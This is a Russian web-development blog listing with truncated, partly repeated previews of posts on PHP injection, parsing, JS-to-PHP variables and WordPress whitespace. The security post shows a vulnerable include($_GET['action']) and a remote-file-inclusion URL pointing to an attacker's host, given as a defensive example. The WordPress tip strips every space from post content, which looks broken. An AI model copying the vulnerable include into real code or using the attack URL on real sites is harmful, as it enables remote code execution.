Web МастерскаяБлог
Сообщество Web Мастеров. Тут собрано всё, чтобы написать свой первый сайт, запустить его в Интернет и поддерживать его в течении всей его работы.
Как предотвратить PHP, SQL и XSS инъекции (Безопасность)
Я конечно не супер-профессионал по безопасности, но некоторые познания в области безопасности php скриптов есть. Итак, часто встречающиеся дыры в php скриптах:
- PHP инъекция.
- SQL инъекция.
- XSS.
Вот про борьбу с этими уязвимостями и пойдёт речь. Статей по безопасности конечно уйма, но всё же, внесу и свою лепту.
Что же это такое PHP-инъекция?
PHP-инъекция - способ взлома сайта путём выполнения на сайте стороннего PHP кода. Например, вы хотите подключить необходимый файл, в зависимости от параметра, пришедшего из GET:
Если ввести такой URL:
- PHP инъекция.
- SQL инъекция.
- XSS.
Вот про борьбу с этими уязвимостями и пойдёт речь. Статей по безопасности конечно уйма, но всё же, внесу и свою лепту.
Что же это такое PHP-инъекция?
PHP-инъекция - способ взлома сайта путём выполнения на сайте стороннего PHP кода. Например, вы хотите подключить необходимый файл, в зависимости от параметра, пришедшего из GET:
# Получаем имя файла
$action = isset($_GET['action']) ? $_GET['action'] : null;
# Тут какие-то действия
# ...
# Подключаем файл
include($action);Если ввести такой URL:
http://ваш_сайт/ваш_файл.php?action=http://сайт_взломщика/файл то, если в файле php.ini на вашем сервере включена директива allow_url_include, злоумышленник может внести код, который хочет выполнить на вашем сайте, в тот файл, на который он указал ссылку и код успешно выполнится на вашем...- Жалоба
Быстрое копирование информации с Web-страницы (Парсинг на PHP)
Заметил, что на форумах часто задают вопросы про парсинг сайтов. Решил написать небольшую статью, в которой попытаюсь объяснить азы парсинга и привести некоторые примеры работы с ним.
Итак, начнём с самого начала.
Что такое парсинг? Это слово является переведенным, а вернее просто написанным на кириллице (как это часто встречается в интернете) словом из английского языка "parsing". Оно переводится с английского как "разбор". Т.е. парсинг - это анализ и разбор какой-либо web-страницы с целью получения информации, содержащейся на ней.
Можно подумать: а зачем вообще нужно получать информацию с web-страницы таким способом? Приведу пример: допустим, Вам нужна база данных MySQL с марками и моделями автомобилей (недавно как раз мне пришлось писать парсер именно для этого). Как Вам её получить? Есть два варианта. Первый - это купить такую базу у человека, у которого она есть. Второй - составить её самому.
Если Вас устраивает первый вариант - Вы, не тратя время, покупаете её и всё. Вот так...
Итак, начнём с самого начала.
Что такое парсинг? Это слово является переведенным, а вернее просто написанным на кириллице (как это часто встречается в интернете) словом из английского языка "parsing". Оно переводится с английского как "разбор". Т.е. парсинг - это анализ и разбор какой-либо web-страницы с целью получения информации, содержащейся на ней.
Можно подумать: а зачем вообще нужно получать информацию с web-страницы таким способом? Приведу пример: допустим, Вам нужна база данных MySQL с марками и моделями автомобилей (недавно как раз мне пришлось писать парсер именно для этого). Как Вам её получить? Есть два варианта. Первый - это купить такую базу у человека, у которого она есть. Второй - составить её самому.
Если Вас устраивает первый вариант - Вы, не тратя время, покупаете её и всё. Вот так...
Как передать переменную из JavaScript в PHP
В интернете наткнулся на одну статью, где говорилось, как передать переменную с JS в PHP. Автор статьи показывает пример, как это сделать (Внимание: код не верный):
Автор гарантирует, что именно так можно передать переменную в PHP. Мне показалось, что я чего то не понял, что возможно автор имел введу, что то другое, но перечитав статью еще раз, понял, что я все правильно понял, что имел введу автор "писанины"!
Ссылаться на эту статью я не буду, называть автора тоже не буду.
Подобные статьи могут завести человека в тупик, так как данная статья рассказывает совершенно о неверном способе передачи переменной с JS в PHP. Меня однажды подобная статья сбила с толку... Если рассуждать логически - PHP работает на стороне сервера и не может быть понятым браузером, а JS выполняется браузером, то есть на компьютере у пользователя и если в браузере будет PHP код, неважно что функция или переменная, он будет...
<script type="text/javascript">
<?php $value = ' + value + '; ?>
</script>Автор гарантирует, что именно так можно передать переменную в PHP. Мне показалось, что я чего то не понял, что возможно автор имел введу, что то другое, но перечитав статью еще раз, понял, что я все правильно понял, что имел введу автор "писанины"!
Ссылаться на эту статью я не буду, называть автора тоже не буду.
Подобные статьи могут завести человека в тупик, так как данная статья рассказывает совершенно о неверном способе передачи переменной с JS в PHP. Меня однажды подобная статья сбила с толку... Если рассуждать логически - PHP работает на стороне сервера и не может быть понятым браузером, а JS выполняется браузером, то есть на компьютере у пользователя и если в браузере будет PHP код, неважно что функция или переменная, он будет...
WordPress: Удаление лишних пробелов и переносов на новую строку в тексте
Мой хороший знакомый в качестве движка для своего блога выбрал WordPress. Выяснилось, что при написании статьи (вкладка редактора "Визуально"), если в конце или в начале текста допустить перенос на новую строку или пробел, то этот перенос пойдет в статью и будет отображаться, как пустое место. Такое "отображение" я называю - "мусор" и для меня важно от таких недоработок избавиться. Что я и постарался сделать для своего знакомого!
Признаюсь, с движком WordPress я не знаком, но проблему решить удалось. Оказалось все просто:
Открываем: wp-includes/post.php, находим:
И меняем на:
Теперь с пробелами и переносами в начале и конце статьи покончено!
Еще, лишние переносы на новую строку могут быть внутри самой статьи, например, между абзацами понаставить 10 переносов и текст будет иметь много пустого места, что некрасиво на самом...
Признаюсь, с движком WordPress я не знаком, но проблему решить удалось. Оказалось все просто:
Открываем: wp-includes/post.php, находим:
$post_content = $postarr['post_content'];И меняем на:
$post_content = str_replace(' ', '', $postarr['post_content']);
$post_content = trim($post_content);Теперь с пробелами и переносами в начале и конце статьи покончено!
Еще, лишние переносы на новую строку могут быть внутри самой статьи, например, между абзацами понаставить 10 переносов и текст будет иметь много пустого места, что некрасиво на самом...
Категории
- Apache 6
- CMS 3
- CSS 19
- FTP 1
- HTML 12
- JavaScript 44
- MySQL 17
- Nginx 16
- PHP 54
- phpMyAdmin 2
- SEO 4
- SVG 6
- URL 1
- XML 3
- Безопасность 7
- Библиотека JS 16
- Графика 3
- Доменное имя 1
- Инструкция 1
- Кодировка 2
- Контент 8
- Мнение 3
- Монетизация сайта 2
- Настройка 3
- Ошибка 12
- Поисковая система 2
- Продвижение сайта 6
- Производительность 1
- Прочее 1
- Софт 1
- Старт 2
- Сценарий 1
- Функция 1
- Хостинг | Сервер 3
Реклама















